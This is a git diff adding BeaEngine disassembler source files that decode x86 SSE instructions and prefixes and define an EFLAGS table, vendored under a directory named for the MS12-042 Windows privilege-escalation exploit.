SSE2_INSTRUCTION+SHUFFLE_UNPACK; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shufpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SHUFFLE_UNPACK; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "shufps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + (*pMyDisasm).Argument1.AccessMode = READ; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + +} + + +/* ==================================================================== + * 0x 0f 51 + * ==================================================================== */ +void __bea_callspec__ sqrtps_VW(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sqrtsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========= 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sqrtss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sqrtpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sqrtps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 5c + * ==================================================================== */ +void __bea_callspec__ subps_VW(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "subsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========= 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "subss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "subpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "subps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 2e + * ==================================================================== */ +void __bea_callspec__ ucomiss_VW(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if (GV.OperandSize == 16) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ucomisd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+COMPARISON_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ucomiss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 15 + * ==================================================================== */ +void __bea_callspec__ unpckhps_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if (GV.OperandSize == 16) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+SHUFFLE_UNPACK; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "unpckhpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+SHUFFLE_UNPACK; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "unpckhps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 14 + * ==================================================================== */ +void __bea_callspec__ unpcklps_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+SHUFFLE_UNPACK; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "unpcklpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+SHUFFLE_UNPACK; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "unpcklps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 57 + * ==================================================================== */ +void __bea_callspec__ xorps_VW(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xorpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xorps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_prefixes.c b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_prefixes.c new file mode 100644 index 0000000..f22433c --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/instr_set/opcodes_prefixes.c @@ -0,0 +1,239 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* ==================================================================== + * Legacy Prefix F0h-Group 1 + * ==================================================================== */ +void __bea_callspec__ PrefLock(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.LockPrefix = InvalidPrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.OperandSize = 32; +} + +/* ==================================================================== + * Legacy Prefix F2h-Group 1 + * ==================================================================== */ +void __bea_callspec__ PrefREPNE(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.RepnePrefix = SuperfluousPrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + GV.PrefRepne = 1; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.PrefRepne = 0; +} + +/* ==================================================================== + * Legacy Prefix F3h-Group 1 + * ==================================================================== */ +void __bea_callspec__ PrefREPE(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.RepPrefix = SuperfluousPrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + GV.PrefRepe = 1; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + GV.PrefRepe = 0; +} + +/* ==================================================================== + * Legacy Prefix 2Eh-Group 2 + * ==================================================================== */ +void __bea_callspec__ PrefSEGCS(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.CSPrefix = InUsePrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); +} + +/* ==================================================================== + * Legacy Prefix 3Eh-Group 2 + * ==================================================================== */ +void __bea_callspec__ PrefSEGDS(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.DSPrefix = InUsePrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); +} + +/* ==================================================================== + * Legacy Prefix 26h-Group 2 + * ==================================================================== */ +void __bea_callspec__ PrefSEGES(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.ESPrefix = InUsePrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); +} + +/* ==================================================================== + * Legacy Prefix 64h-Group 2 + * ==================================================================== */ +void __bea_callspec__ PrefSEGFS(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.FSPrefix = InUsePrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + GV.SEGMENTFS = 1; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); +} + +/* ==================================================================== + * Legacy Prefix 65h-Group 2 + * ==================================================================== */ +void __bea_callspec__ PrefSEGGS(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.GSPrefix = InUsePrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); +} + + +/* ==================================================================== + * Legacy Prefix 36h-Group 2 + * ==================================================================== */ +void __bea_callspec__ PrefSEGSS(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.SSPrefix = InUsePrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); +} + +/* ==================================================================== + * Legacy Prefix 66h-Group 3 + * ==================================================================== */ +void __bea_callspec__ PrefOpSize(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.OperandSize = InUsePrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + GV.OriginalOperandSize = GV.OperandSize; /* if GV.OperandSize is used as a mandatory prefix, keep the real operandsize value */ + if (GV.Architecture == 16) { + GV.OperandSize = 32; + } + else { + if (GV.OperandSize != 64) { + GV.OperandSize = 16; + } + } + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + if (GV.Architecture == 16) { + GV.OperandSize = 16; + } + else { + GV.OperandSize = 32; + } +} + +/* ==================================================================== + * Legacy Prefix 67h-Group 4 + * ==================================================================== */ +void __bea_callspec__ PrefAdSize(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + (*pMyDisasm).Prefix.AddressSize = InUsePrefix; + GV.EIP_++; + (*pMyDisasm).Prefix.Number++; + GV.NB_PREFIX++; + if (GV.Architecture == 16) { + GV.AddressSize = GV.AddressSize << 1; + } + else { + GV.AddressSize = GV.AddressSize >> 1; + } + + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_); + (void) opcode_map1[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); + if (GV.Architecture == 16) { + GV.AddressSize = GV.AddressSize >> 1; + } + else { + GV.AddressSize = GV.AddressSize << 1; + } + +} + +/* ==================================================================== + * Escape Prefix 0Fh-two bytes opcodes + * ==================================================================== */ +void __bea_callspec__ Esc_2byte(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + GV.EIP_++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_)+0x0F00; + (void) opcode_map2[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); +} + +/* ==================================================================== + * Escape Prefix 0F38h-three bytes opcodes + * ==================================================================== */ +void __bea_callspec__ Esc_tableA4(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + GV.EIP_++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_)+0x0F3800; + (void) opcode_map3[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); +} +/* ==================================================================== + * Escape Prefix 0F3Ah-three bytes opcodes + * ==================================================================== */ +void __bea_callspec__ Esc_tableA5(PDISASM pMyDisasm) +{ + if (!Security(0, pMyDisasm)) return; + GV.EIP_++; + (*pMyDisasm).Instruction.Opcode = *((UInt8*) (UIntPtr)GV.EIP_)+0x0F3A00; + (void) opcode_map4[*((UInt8*) (UIntPtr)GV.EIP_)](pMyDisasm); +} diff --git a/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/internal_datas.h b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/internal_datas.h new file mode 100644 index 0000000..b479358 --- /dev/null +++ b/97-Windows提权/MS12-042/sysret-source/junk/sources/beaengineSources/Includes/internal_datas.h @@ -0,0 +1,551 @@ +/* Copyright 2006-2009, BeatriX + * File coded by BeatriX + * + * This file is part of BeaEngine. + * + * BeaEngine is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * BeaEngine is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with BeaEngine. If not, see . */ + +/* Define prefix GV aka GlobalVariable - used instead of global internal variables to make BeaEngine thread-safe */ + +#define GV (*pMyDisasm).Reserved_ + +/* Define constants to identify the position and type of decoration used in case of memory argument */ + +#define Arg1byte 1 +#define Arg1word 2 +#define Arg1dword 3 +#define Arg1qword 4 +#define Arg1multibytes 5 +#define Arg1tbyte 6 +#define Arg1fword 7 +#define Arg1dqword 8 + +#define Arg2byte 101 +#define Arg2word 102 +#define Arg2dword 103 +#define Arg2qword 104 +#define Arg2multibytes 105 +#define Arg2tbyte 106 +#define Arg2fword 107 +#define Arg2dqword 108 + +EFLStruct EFLAGS_TABLE[] = { + {UN_, UN_, UN_, MO_, UN_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 0-AAA */ + {UN_, MO_, MO_, UN_, MO_, UN_, 0 , 0 , 0 , 0 , 0, 0}, /* 1-AAD */ + {UN_, MO_, MO_, UN_, MO_, UN_, 0 , 0 , 0 , 0 , 0, 0}, /* 2-AAM */ + {UN_, UN_, UN_, MO_, UN_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 3-AAS */ + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 4-ADC */ + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 5-ADD */ + {RE_, MO_, MO_, UN_, MO_, RE_, 0 , 0 , 0 , 0 , 0, 0}, /* 6-AND */ + {0 , 0 , MO_, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 7-ARPL */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 8-BOUND */ + {UN_, UN_, MO_, UN_, UN_, UN_, 0 , 0 , 0 , 0 , 0, 0}, /* 9-BSF/BSR */ + + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 10-BSWAP */ + {UN_, UN_, UN_, UN_, UN_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 11-BT/BTS/BTR/BTC */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 12-CALL */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 13-CBW */ + {0 , 0 , 0 , 0 , 0 , RE_, 0 , 0 , 0 , 0 , 0, 0}, /* 14-CLC */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , RE_, 0 , 0, 0}, /* 15-CLD */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , RE_, 0 , 0 , 0, 0}, /* 16-CLI */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 17-CLTS */ + {0 , 0 , 0 , 0 , 0 , MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 18-CMC */ + {TE_, TE_, TE_, 0 , TE_, TE_, 0 , 0 , 0 , 0 , 0, 0}, /* 19-CMOVcc */ + + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 20-CMP */ + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 21-CMPS */ + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 22-CMPXCHG */ + {0 , 0 , MO_, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 23-CMPXCHGG8B */ + {RE_, RE_, MO_, RE_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 24-COMSID */ + {RE_, RE_, MO_, RE_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 25-COMISS */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 26-CPUID */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 27-CWD */ + {UN_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 28-DAA */ + {UN_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 29-DAS */ + + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 30-DEC */ + {UN_, UN_, UN_, UN_, UN_, UN_, 0 , 0 , 0 , 0 , 0, 0}, /* 31-DIV */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 32-ENTER */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 33-ESC */ + {0 , 0 , TE_, 0 , TE_, TE_, 0 , 0 , 0 , 0 , 0, 0}, /* 34-FCMOV */ + {0 , 0 , MO_, 0 , MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 35-FCOMI FCOMIP FUCMI FUCMIP */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 36-HLT */ + {UN_, UN_, UN_, UN_, UN_, UN_, 0 , 0 , 0 , 0 , 0, 0}, /* 37-IDIV */ + {MO_, UN_, UN_, UN_, UN_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 38-IMUL */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 39-IN */ + + {MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 40-INC */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , TE_, 0 , 0, 0}, /* 41-INS */ + {0 , 0 , 0 , 0 , 0 , 0 , RE_, 0 , 0 , RE_, 0, 0}, /* 42-INT */ + {TE_, 0 , 0 , 0 , 0 , 0 , RE_, 0 , 0 , RE_, 0, 0}, /* 43-INTO */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 44-INVD */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 45-INVLPG */ + {RE_, RE_, MO_, RE_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 46-UCOMSID */ + {RE_, RE_, MO_, RE_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 47-UCOMISS */ + {PR_, PR_, PR_, PR_, PR_, PR_, PR_, PR_, PR_, TE_, 0, 0}, /* 48-IRET */ + {TE_, TE_, TE_, 0 , TE_, TE_, 0 , 0 , 0 , 0 , 0, 0}, /* 49-Jcc */ + + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 50-JCXZ */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 51-JMP */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 52-LAHF */ + {0 , 0 , MO_, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 53-LAR */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 54-LDS LES LSS LFS LGS */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 55-LEA */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 56-LEAVE */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 57-LGDT LIDT LLDT LMSW */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 58-LOCK */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , TE_, 0 , 0, 0}, /* 59-LODS */ + + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 60-LOOP */ + {0 , 0 , TE_, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 61-LOOPE LOOPNE */ + {0 , 0 , MO_, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 62-LSL */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 63-LTR */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 64-MONITOR */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 65-MWAIT */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 66-MOV */ + {UN_, UN_, UN_, UN_, UN_, UN_, 0 , 0 , 0 , 0 , 0, 0}, /* 67-MOV control, debug, test */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , TE_, 0 , 0, 0}, /* 68-MOVS */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 69-MOVSX MOVZX */ + + {MO_, UN_, UN_, UN_, UN_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 70-MUL */ + {MO_, MO_, MO_, MO_, MO_, MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 71-NEG */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 72-NOP */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 73-NOT */ + {RE_, MO_, MO_, UN_, MO_, RE_, 0 , 0 , 0 , 0 , 0, 0}, /* 74-OR */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 75-OUT */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , TE_, 0 , 0, 0}, /* 76-OUTS */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 77-POP POPA */ + {PR_, PR_, PR_, PR_, PR_, PR_, PR_, PR_, PR_, PR_, 0, 0}, /* 78-POPF */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 79-PUSH PUSHA PUSHF */ + + {MO_, 0 , 0 , 0 , 0 , MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 80-RCL RCR 1 */ + {UN_, 0 , 0 , 0 , 0 , MO_, 0 , 0 , 0 , 0 , 0, 0}, /* 81-RCL RCR */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 82-RDMSR */ + {0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0, 0}, /* 83-RDPMC */ + {0 , 0 , 0 